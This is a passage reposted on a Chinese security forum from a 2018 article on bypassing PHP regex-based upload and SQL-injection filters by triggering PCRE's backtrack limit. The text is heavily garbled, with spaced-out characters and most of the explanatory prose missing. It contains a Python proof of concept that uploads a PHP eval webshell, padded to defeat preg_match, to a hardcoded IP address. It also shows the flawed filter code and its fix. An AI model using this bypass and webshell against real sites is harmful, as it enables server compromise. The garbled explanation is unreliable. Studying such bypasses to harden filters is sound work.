[13489] 2018-12-03_PHP利用PCRE回溯次数限制绕过某些安全限制

文档创建者:s7ckTeam
浏览次数:5
最后更新:2025-01-18
2018-12-03_PHP利用PCRE回溯次数限制绕过某些安全限制 P H P P C R E p h i t h o n   F r e e B u f   2 0 1 8 - 1 2 - 0 3   C o d e - B r e a k i n g   P u z z l e s   p c r e w a f   P H P     i s _ p h p ( )     w e b s h e l l   0 x 0 1     D F A   N F A D F A :   N F A   N F A     D F A 使   N F A     P H P   使   P C R E   0 x 0 2     < ? . [ ( ` ; ? > ] .   < ? p h p   p h p i n f o ( ) ; / / a a a a a < ? p h p f u n c t i o n   i s _ p h p ( $ d a t a ) {             r e t u r n   p r e g _ m a t c h ( ' / < ? . * [ ( ` ; ? > ] . * / i s ' ,   $ d a t a ) ;     } i f ( ! i s _ p h p ( $ i n p u t ) )   {         / /   f w r i t e ( $ f ,   $ i n p u t ) ;   . . . }
  4     . *     / / a a a a a . *   [ ( ` ; ? > ]   N F A     a   5     / / a a a a   a / / a a a ;   1 2     < ? p h p   p h p i n f o ( )   . *     p h p   p h p i n f o ( )   ;     [ ( ` ; ? > ]   1 3   ; 1 4   . .   8   0 x 0 3   P H P     p c r e . b a c k t r a c k _ l i m i t   P H P   r e D O S   p c r e     p c r e . b a c k t r a c k l i m i t   v a r d u m p ( i n i g e t ( ' p c r e . b a c k t r a c k l i m i t ' ) ) ;   P H P  
  1 0 0     1 0 0   p r e g _ m a t c h     1     0   f a l s e p r e g m a t c h     f a l s e     v a r d u m p ( p r e g l a s t e r r o r ( )   = = = P R E G B A C K T R A C K L I M I T _ E R R O R ) ; 使   P H P     P O C   0 x 0 4   P C R E     P H P     W A F i m p o r t   r e q u e s t s f r o m   i o   i m p o r t   B y t e s I O f i l e s   =   {     ' f i l e ' :   B y t e s I O ( b ' a a a < ? p h p   e v a l ( $ _ P O S T [ t x t ] ) ; / / '   +   b ' a '   *   1 0 0 0 0 0 0 ) } r e s   =   r e q u e s t s . p o s t ( ' h t t p : / / 5 1 . 1 5 8 . 7 5 . 4 2 : 8 0 8 8 / i n d e x . p h p ' ,   f i l e s = f i l e s ,   a l l o w _ r e d i r e c t s = F a l s e ) p r i n t ( r e s . h e a d e r s ) < ? p h p i f ( p r e g _ m a t c h ( ' / S E L E C T . + F R O M . + / i s ' ,   $ i n p u t ) )   {         d i e ( ' S Q L   I n j e c t i o n ' ) ; }
  W A F     N F A     U N I O N / a a a a a / S E L E C T . + ?   / . + ?     S   * S   . + ?   . + ?     S     a S     a   . + ?     a . . .   a     a 使 p c r e . b a c k t r a c k _ l i m i t     W A F 0 x 0 5     P H P     p r e g _ m a t c h     p r e g _ m a t c h   使 = = = 使   f a l s e   i f   * p h i t h 0 n F r e e B u f < ? p h p i f ( p r e g _ m a t c h ( ' / U N I O N . + ? S E L E C T / i s ' ,   $ i n p u t ) )   {         d i e ( ' S Q L   I n j e c t i o n ' ) ; } < ? p h p f u n c t i o n   i s _ p h p ( $ d a t a ) {             r e t u r n   p r e g _ m a t c h ( ' / < ? . * [ ( ` ; ? > ] . * / i s ' ,   $ d a t a ) ;     } i f ( i s _ p h p ( $ i n p u t )   = = =   0 )   {         / /   f w r i t e ( $ f ,   $ i n p u t ) ;   . . . }

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则